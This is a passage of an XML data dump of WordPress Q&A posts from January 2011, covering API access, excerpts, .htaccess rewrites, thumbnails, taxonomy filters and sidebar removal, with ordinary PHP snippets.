LastActivityDate="2011-01-05T14:52:52.083" />
  <row Id="6365" PostTypeId="1" AcceptedAnswerId="6383" CreationDate="2011-01-05T15:00:36.723" Score="0" ViewCount="197" Body="&lt;p&gt;I was wondering how does external app works for wordpress.com or wordpress.org &#xA;Directly connecting to the wordpress database seems a bad idea to me. How can I create an app or get / post data from the wordpres database. Is there a Json api or XML api format so that I can easily exchange data between the two&lt;/p&gt;&#xA;" OwnerUserId="2305" LastActivityDate="2011-01-05T17:57:07.487" Title="Creating external apps Wordpress / How they work" Tags="&lt;wordpress.com&gt;&lt;wordpress.org&gt;&lt;api&gt;&lt;third-party-applications&gt;" AnswerCount="2" />
  <row Id="6366" PostTypeId="2" ParentId="6330" CreationDate="2011-01-05T15:01:56.007" Score="0" ViewCount="" Body="&lt;p&gt;Goto phpmyadmin and repair the database, your comments should be back.&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-01-05T15:01:56.007" />
  <row Id="6367" PostTypeId="1" AcceptedAnswerId="6431" CreationDate="2011-01-05T15:58:41.473" Score="1" ViewCount="253" Body="&lt;p&gt;I'm trying to integrate Invision Power Board into our website, Wordpress by using IPB Website Integration (IPBWI). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the script sometime before on a static website, but I'm having trouble with the integration in Wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is actually working as intended in Wordpress, but I am getting a lot of warning-messages throughout the site, like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method RCCWP_Query::FilterCustomPostsFields() should not be called statically in [path]\wp-includes\plugin.php on line 220&#xA;Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method RCCWP_Query::FilterCustomPostsJoin() should not be called statically in [path]\wp-includes\plugin.php on line 220&#xA;Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method RCCWP_Query::FilterCustomPostsOrderby() should not be called statically in [path]\wp-includes\plugin.php on line 220&#xA;Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method RCCWP_Query::FilterCustomPostsFields() should not be called statically in [path]\wp-includes\plugin.php on line 220&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is mainly where I have custom queries I get these warnings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be beyond the scope of support witch this board gives, but hopefulle someone might know some solutions. &lt;/p&gt;&#xA;" OwnerUserId="1463" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-06T13:41:06.180" LastActivityDate="2011-01-06T13:44:44.837" Title="Invision + Wordpress integration" Tags="&lt;scripts&gt;&lt;integration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6368" PostTypeId="2" ParentId="6361" CreationDate="2011-01-05T16:24:58.777" Score="0" ViewCount="" Body="&lt;p&gt;I suggest you to take a look for a cheap but premium hosting provider, but the free option is not a problem, 9lessons done it with just 1$, learn more &lt;a href=&quot;http://www.9lessons.info/2010/04/just-one-dollar-invested-on-9lessons.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-05T16:24:58.777" />
  <row Id="6369" PostTypeId="2" ParentId="3725" CreationDate="2011-01-05T16:31:00.660" Score="4" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://diythemes.com/&quot; rel=&quot;nofollow&quot;&gt;Thesis Theme Framework&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The Thesis Theme framework is a premium template system for WordPress that is designed to serve as the rock-solid foundation beneath any kind of website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt; (And i quote):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Thesis option panels &lt;/li&gt;&#xA;&lt;li&gt;Unique designs &lt;/li&gt;&#xA;&lt;li&gt;revolutionary layout generator (with 1, 2, and 3-column layout combinations)&lt;/li&gt;&#xA;&lt;li&gt;pinpoint font controls&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional Features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Built in SEO features like custom titles and custom META for pages and posts &lt;/li&gt;&#xA;&lt;li&gt;Active online forum available to all registered users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pricing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Personal Option (single website) $87&lt;/li&gt;&#xA;&lt;li&gt;Developer’s Option (unlimited for own websites, access to betas, additional deployment tools) $164&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2314" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-03-13T20:50:50.400" LastActivityDate="2011-03-13T20:50:50.400" CommunityOwnedDate="2011-01-05T16:31:00.660" />
  <row Id="6370" PostTypeId="2" ParentId="6350" CreationDate="2011-01-05T16:35:20.567" Score="1" ViewCount="" Body="&lt;p&gt;You can do this by removing the sidebar tag &lt;code&gt;&amp;lt;?php get_sidebar (); ?&amp;gt;&lt;/code&gt; from the page templates you want.&lt;br&gt;&#xA;If you use index.php as a homepage, you can duplicate it and name it homepage.php and remove the sidebar tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i suggest you to take a look at this pages:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Stepping_Into_Template_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Stepping_Into_Template_Tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-05T16:35:20.567" />
  <row Id="6371" PostTypeId="2" ParentId="6236" CreationDate="2011-01-05T16:40:10.953" Score="1" ViewCount="" Body="&lt;p&gt;I haven't used it yet, but I just recently read about this plugin, WP Quick Deploy. It appears to provide the functionality you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-quick-deploy/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-quick-deploy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2011-01-05T16:40:10.953" CommentCount="1" />
  <row Id="6372" PostTypeId="1" AcceptedAnswerId="6378" CreationDate="2011-01-05T16:40:43.607" Score="0" ViewCount="161" Body="&lt;p&gt;I am trying to &lt;code&gt;automate&lt;/code&gt; editors work by automating &lt;code&gt;excerpts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution works but there are few problems with it: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If a post has images/broken html at the beginning it breaks the layout.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Substring cuts words.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a better solution to automate excerpts or improve my existing code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(!empty($post-&amp;gt;post_excerpt)) {&#xA;&#xA;      the_excerpt();&#xA;&#xA;    } else {&#xA;&#xA;      echo &quot;&amp;lt;p&amp;gt;&quot;.substr(get_the_content(), 0, 160).&quot;...&amp;lt;/p&amp;gt;&quot;;&#xA;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-01-05T17:19:20.660" Title="Automating Excerpt" Tags="&lt;automate&gt;&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="6373" PostTypeId="1" AcceptedAnswerId="6519" CreationDate="2011-01-05T16:52:40.467" Score="0" ViewCount="249" Body="&lt;p&gt;I have a subdirectory within my WP installation called &lt;code&gt;labs&lt;/code&gt;.  I created a WP page called &lt;code&gt;labs&lt;/code&gt; as well.  When a user hits &lt;code&gt;mydomain.com/labs/&lt;/code&gt; I want them to load up the WP page. But instead it's loading up the &lt;code&gt;labs&lt;/code&gt; directory listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read a few ways to do this if I want my WP page to have a different name than my directory name, but I don't really want that.  For example, I want to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/                &amp;lt;-- WP Root&#xA;mydomain.com/labs/           &amp;lt;-- Pretty WP page listing all of my projects&#xA;mydomain.com/labs/project1/  &amp;lt;-- raw (i.e. no WP) web app&#xA;mydomain.com/labs/project2/  &amp;lt;-- raw (i.e. no WP) web app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also mention that WP is installed in the root of &lt;code&gt;mydomain.com&lt;/code&gt;, so &lt;code&gt;/labs/&lt;/code&gt; is both a WP page and a subdirectory that I created manually.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;:&#xA;I renamed my &lt;code&gt;labs&lt;/code&gt; folder to &lt;code&gt;projects&lt;/code&gt; and used the following .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{REQUEST_URI} labs/(.+)$&#xA;RewriteCond %{REQUEST_URI} !labs/(.+)/$&#xA;RewriteRule ^labs/(.+)$ http://mydomain.com/labs/$1/ [L]&#xA;RewriteRule ^labs/(.+)$ projects/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm a little unclear as to why I had to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^labs/(.+)$ http://mydomain.com/labs/$1/ [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of just&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^labs/(.+)$ labs/$1/ [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I used the latter it never appended the trailing slash.&lt;/p&gt;&#xA;" OwnerUserId="1979" LastEditorUserId="1979" LastEditorDisplayName="" LastEditDate="2011-01-08T22:15:22.593" LastActivityDate="2011-01-08T22:15:22.593" Title="WP Page and Subdirectory with same name" Tags="&lt;page&gt;&lt;directory&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="6374" PostTypeId="2" ParentId="6361" CreationDate="2011-01-05T16:55:47.530" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Wordpress.com&lt;/a&gt;! Of course, it has downsides (no plugins, limited themes, etc). But it has the added benefit of constant, automatic updates, reliable infrastructure and, well, it's free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan on running a self-hosted WordPress blog, the biggest mistake you can make is to skimp on hosting, and I'd strongly advise against using a &quot;free&quot; host. Security, performance and uptime are all dramatically affected by your choice of host.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2011-01-05T17:23:16.460" LastActivityDate="2011-01-05T17:23:16.460" CommentCount="1" />
  <row Id="6375" PostTypeId="1" AcceptedAnswerId="6390" CreationDate="2011-01-05T17:09:57.290" Score="0" ViewCount="212" Body="&lt;p&gt;I am working on a theme that shows 200/200px post thumbnail on the home page and 500/300px image on the category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have in fuctions.php but it doesn't seem to work (only the homepage thumbnail works)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;set_post_thumbnail_size( 200, 200, true );&#xA;add_image_size( 'homepage', 200, 200, true );&#xA;add_image_size( 'category', 500, 300, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-01-05T19:18:15.900" Title="Post Thumbnails multiple sizes" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6376" PostTypeId="1" CreationDate="2011-01-05T17:10:39.263" Score="0" ViewCount="173" Body="&lt;p&gt;I am developing a website using WordPress. As I don't want the sidebar, I removed 'get_sidebar()' from my page. But I need to place a category in the content part (like a category for latest news) - not in a sidebar. How could I do this?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:43:36.927" LastActivityDate="2011-01-11T07:43:36.927" Title="Display posts from category in post content?" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="6377" PostTypeId="2" ParentId="6363" CreationDate="2011-01-05T17:16:38.027" Score="1" ViewCount="" Body="&lt;p&gt;Call the link with a query argument in which you pass the current post ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;If &lt;code&gt;get_the_term_list&lt;/code&gt; returns a url address (the link href) you would need to append a argument to it.&lt;/strike&gt; Then, on the archive page exclude that post ID before the loop, using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_GET['related_to']))&#xA;  query_posts(array('post__not_in' =&amp;gt; array(intval($_GET['related_to']))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update:&lt;/em&gt;&lt;/strong&gt; I've looked up get_the_term_list and it seems to be a wp function that lists html-formatted term links. So you'll need to append your query argument before the links are built. In your functions.php file add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_related_link($termlink, $term, $taxonomy){&#xA;  global $post;&#xA;  return add_query_arg('related_to', $post-&amp;gt;ID, $termlink);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the template file where the link is added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('term_link', 'my_related_link', 10, 3);&#xA;echo get_the_term_list( $post-&amp;gt;ID, 'prod-cate', 'Products of the cateogry: ', ', ', '.' );&#xA;remove_filter('term_link', 'my_related_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-05T23:01:09.837" LastActivityDate="2011-01-05T23:01:09.837" CommentCount="6" />
  <row Id="6378" PostTypeId="2" ParentId="6372" CreationDate="2011-01-05T17:17:06.927" Score="5" ViewCount="" Body="&lt;p&gt;The excerpt filter by default cuts your post by a word count, which I think is probably preferable to a character-based substr function like you're doing, and it strings out tags and images as well while doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the number of words to excerpt with the filter &lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/excerpt_length&quot; rel=&quot;nofollow&quot;&gt;excerpt_length&lt;/a&gt;&lt;/strong&gt; (it defaults to 55 words, this function from the codex shows how to change it to 20:) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_length($length) {&#xA;    return 20;&#xA;}&#xA;add_filter('excerpt_length', 'new_excerpt_length', 999);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to use a character-length based cutoff as in your example, you could fix broken tags and such just by applying an appropriate filter to your output, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_to_excerpt = strip_tags( strip_shortcodes( get_the_content() ) ); &#xA;echo &quot;&amp;lt;p&amp;gt;&quot;. substr( apply_filters('the_excerpt', $content_to_excerpt), 0, 160).&quot;...&amp;lt;/p&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you're stripping tags and applying the filters before truncating the excerpt, so as not to leave an open tag in your excerpt that will screw up the rest of your layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of great themes out there that deals with excerpts in creative ways, I advise you to take a look at how they do it. Here are a few good blog posts from people who have thought through the issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wptheming.com/2010/11/more-tags-or-excerpts/&quot; rel=&quot;nofollow&quot;&gt;More Tags or Excerpts&lt;/a&gt;&#xA;(wptheming)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2008/08/24/replacing-wordpress-content-with-an-excerpt-without-editing-theme-files&quot; rel=&quot;nofollow&quot;&gt;Replacing WordPress content with an excerpt without editing theme files&lt;/a&gt; (justintadlock)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, for a really random way of dealing with excerpts, look at the &lt;a href=&quot;http://themeshaper.com/kirby/&quot; rel=&quot;nofollow&quot;&gt;Kirby theme&lt;/a&gt; - it tries to implement something like Microsoft Word's autosummarize feature by using css to show only headers and lists (from what I remember).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-05T17:17:06.927" />
  <row Id="6379" PostTypeId="2" ParentId="6372" CreationDate="2011-01-05T17:19:20.660" Score="3" ViewCount="" Body="&lt;p&gt;You don't really need to do this. The the_excerpt() tag automatically checks for an excerpt, and if none exists it uses the first 55 words of the post's content (with all tags stripped). This excerpt length can be controlled by hooking into &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_excerpt#Control_Excerpt_Length_using_Filters&quot; rel=&quot;nofollow&quot;&gt;the excerpt_length filter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to include html (images, links, etc) in the automatically-generated excerpt, that's kinda tricky. Obviously, breaking a string at an arbitrary number of words or characters might also break any (x)html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress has an internal function that can help with this called force_balance_tags(). It's located in the /wp-includes/formatting.php file. This function fairly reliably adds closing tags to open tags in a string. But it's not a cure-all... it doesn't fix incomplete tags (tags that may be cut off in the middle). So it'd be up to you to figure out how to split the string between tags in the first place.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-05T17:19:20.660" CommentCount="1" />
  <row Id="6380" PostTypeId="2" ParentId="6365" CreationDate="2011-01-05T17:30:04.833" Score="0" ViewCount="" Body="&lt;p&gt;For self-hosted WordPress blogs, you can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/&quot; rel=&quot;nofollow&quot;&gt;JSON API plugin&lt;/a&gt;. I'm working with it on a project right now... it's fairly full-featured OOB, and it's extensible. &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/other_notes/&quot; rel=&quot;nofollow&quot;&gt;Documentation is here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure about wordpress.com blogs.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-05T17:30:04.833" />
  <row Id="6381" PostTypeId="1" CreationDate="2011-01-05T17:52:10.643" Score="1" ViewCount="279" Body="&lt;p&gt;This question relates to a solution found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type&quot;&gt;here&lt;/a&gt; from user somatic and mikeSchinkel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am testing somatic's solution, and it loads and populates the dropdown with no issues, but When you click filter, it does not filter anything. I am on WP version 3.0.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom post type = &quot;listings&quot; my custom taxonomy = &quot;Locations&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'restrict_manage_posts', 'my_restrict_manage_posts' );&#xA;function my_restrict_manage_posts() {&#xA;&#xA;    // only display these taxonomy filters on desired custom post_type listings&#xA;    global $typenow;&#xA;    if ($typenow == 'listings') {&#xA;&#xA;        // create an array of taxonomy slugs you want to filter by - if you want to retrieve all taxonomies, could use get_taxonomies() to build the list&#xA;        $filters = array('Locations');&#xA;&#xA;        foreach ($filters as $tax_slug) {&#xA;            // retrieve the taxonomy object&#xA;            $tax_obj = get_taxonomy($tax_slug);&#xA;            $tax_name = $tax_obj-&amp;gt;labels-&amp;gt;name;&#xA;            // retrieve array of term objects per taxonomy&#xA;            $terms = get_terms($tax_slug);&#xA;&#xA;            // output html for taxonomy dropdown filter&#xA;            echo &quot;&amp;lt;select name='$tax_slug' id='$tax_slug' class='postform'&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;option value=''&amp;gt;Show All $tax_name&amp;lt;/option&amp;gt;&quot;;&#xA;            foreach ($terms as $term) {&#xA;                // output each select option line, check against the last $_GET to show the current option selected&#xA;                echo '&amp;lt;option value='. $term-&amp;gt;slug, $_GET[$tax_slug] == $term-&amp;gt;slug ? ' selected=&quot;selected&quot;' : '','&amp;gt;' . $term-&amp;gt;name .' (' . $term-&amp;gt;count .')&amp;lt;/option&amp;gt;';&#xA;            }&#xA;            echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something in there to make the filter work? I am organizing my column's with the following code, not what was in step 3 and 4. (not sure if this is the issue?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;manage_posts_custom_column&quot;,  &quot;listing_custom_columns&quot;);&#xA;add_filter(&quot;manage_edit-listings_columns&quot;, &quot;listing_edit_columns&quot;);&#xA;&#xA;function listing_edit_columns($columns){&#xA;  $columns = array(&#xA;    &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;    &quot;title&quot; =&amp;gt; &quot;Listing Name&quot;,&#xA;    &quot;address&quot; =&amp;gt; &quot;Address&quot;,&#xA;    &quot;Locations&quot; =&amp;gt; &quot;Location&quot;,&#xA;  );&#xA;&#xA;  return $columns;&#xA;}&#xA;function listing_custom_columns($column){&#xA;  global $post;&#xA;&#xA;  switch ($column) {&#xA;    case &quot;address&quot;:&#xA;      $custom = get_post_custom();&#xA;      echo $custom[&quot;address_meta&quot;][0];&#xA;      break;&#xA;    case &quot;Locations&quot;:&#xA;      echo get_the_term_list($post-&amp;gt;ID, 'Locations', '', ', ','');&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. thank you.&lt;/p&gt;&#xA;" OwnerUserId="2320" LastEditorUserId="2320" LastEditorDisplayName="" LastEditDate="2011-01-05T18:07:35.243" LastActivityDate="2011-09-03T10:40:52.703" Title="Help with issues on &quot;Adding a Taxonomy Filter to Admin List for a Custom Post Type?&quot;" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="6382" PostTypeId="2" ParentId="6376" CreationDate="2011-01-05T17:52:16.607" Score="2" ViewCount="" Body="&lt;p&gt;You can do this with a query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;global $post;&#xA;$args = array( 'posts_per_page' =&amp;gt; 5, 'offset'=&amp;gt; 1, 'category' =&amp;gt; 1 );&#xA;$myposts = get_posts( $args );&#xA;foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put that in your category page or in something like &lt;a href=&quot;http://wordpress.org/extend/plugins/exec-php/&quot; rel=&quot;nofollow&quot;&gt;Exec-PHP plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For looking up the current category you can grab it like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_query_var('cat')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2011-01-05T17:52:16.607" />
  <row Id="6383" PostTypeId="2" ParentId="6365" CreationDate="2011-01-05T17:57:07.487" Score="2" ViewCount="" Body="&lt;p&gt;WordPress features a very rich XML-RPC interface that you can work with from external applications.  It provides you access to most of the functionality you'd have directly in the admin - write posts, edit posts, edit comments, create/edit categories, manage site options, upload files, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a matter of fact, certain third-party applications are already using this functionality to allow you to manage WordPress remotely - a good example is &lt;a href=&quot;http://explore.live.com/windows-live-writer?os=other&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt;.  It works for both self-hosted (.org) sites and sites hosted on WordPress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you need to get posts from WordPress, I'd recommend following API calls:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;metaWeblog.getPost&lt;/strong&gt; - for retrieving a single post based on its ID.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;metaWeblog.getRecentPosts&lt;/strong&gt; - for retrieving a list of recently published posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also create/edit posts with these API calls:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;metaWeblog.newPost&lt;/strong&gt; - create a new post&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;metaWeblog.editPost&lt;/strong&gt; - edit an existing post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's more information about creating your own application (and an explanation as to why WordPress supports third-party APIs like metaWeblog) in &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;the Codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also written tutorials on &lt;a href=&quot;http://mindsharestrategy.com/wpxmlrpc-using-the-api/&quot; rel=&quot;nofollow&quot;&gt;how to use the API&lt;/a&gt; and documentation specific to making/parsing &lt;a href=&quot;http://mindsharestrategy.com/wp-xmlrpc-metaweblog/&quot; rel=&quot;nofollow&quot;&gt;metaWeblog API&lt;/a&gt; requests.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-05T17:57:07.487" />
  <row Id="6384" PostTypeId="2" ParentId="6350" CreationDate="2011-01-05T18:17:50.003" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;... on my homepage &lt;strong&gt;and one other page&lt;/strong&gt;&#xA;  i dont want to have the sidebar.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can tell WordPress to &lt;strong&gt;do not generate&lt;/strong&gt; sidebar on specific page(s) with simple condition in your &lt;strong&gt;page.php&lt;/strong&gt; file (or other relevant &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Template_Files_List&quot; rel=&quot;nofollow&quot;&gt;template file&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the following piece of code will disable sidebar on 'About Me' page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!is_page('about-me')) get_sidebar(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*Note: you can use numeric ID or slug of your page inside the is_page() function.*&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-05T18:17:50.003" />
  <row Id="6385" PostTypeId="2" ParentId="1030" CreationDate="2011-01-05T18:31:34.590" Score="1" ViewCount="" Body="&lt;p&gt;use &quot;wpmu_activate_blog&quot; instead of &quot;activate_blog&quot;. it worked for me. &#xA;thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-01-05T18:31:34.590" CommentCount="1" />
  <row Id="6386" PostTypeId="2" ParentId="6356" CreationDate="2011-01-05T18:44:47.633" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure what answer you are looking for. Plugins are not something that you directly see when you look at site. Not something site's reputation is based on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hadn't looked into this specific plugin, but as any of this kind it likely can be used both for perfectly legit and absolutely spammy purposes.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-05T18:44:47.633" />
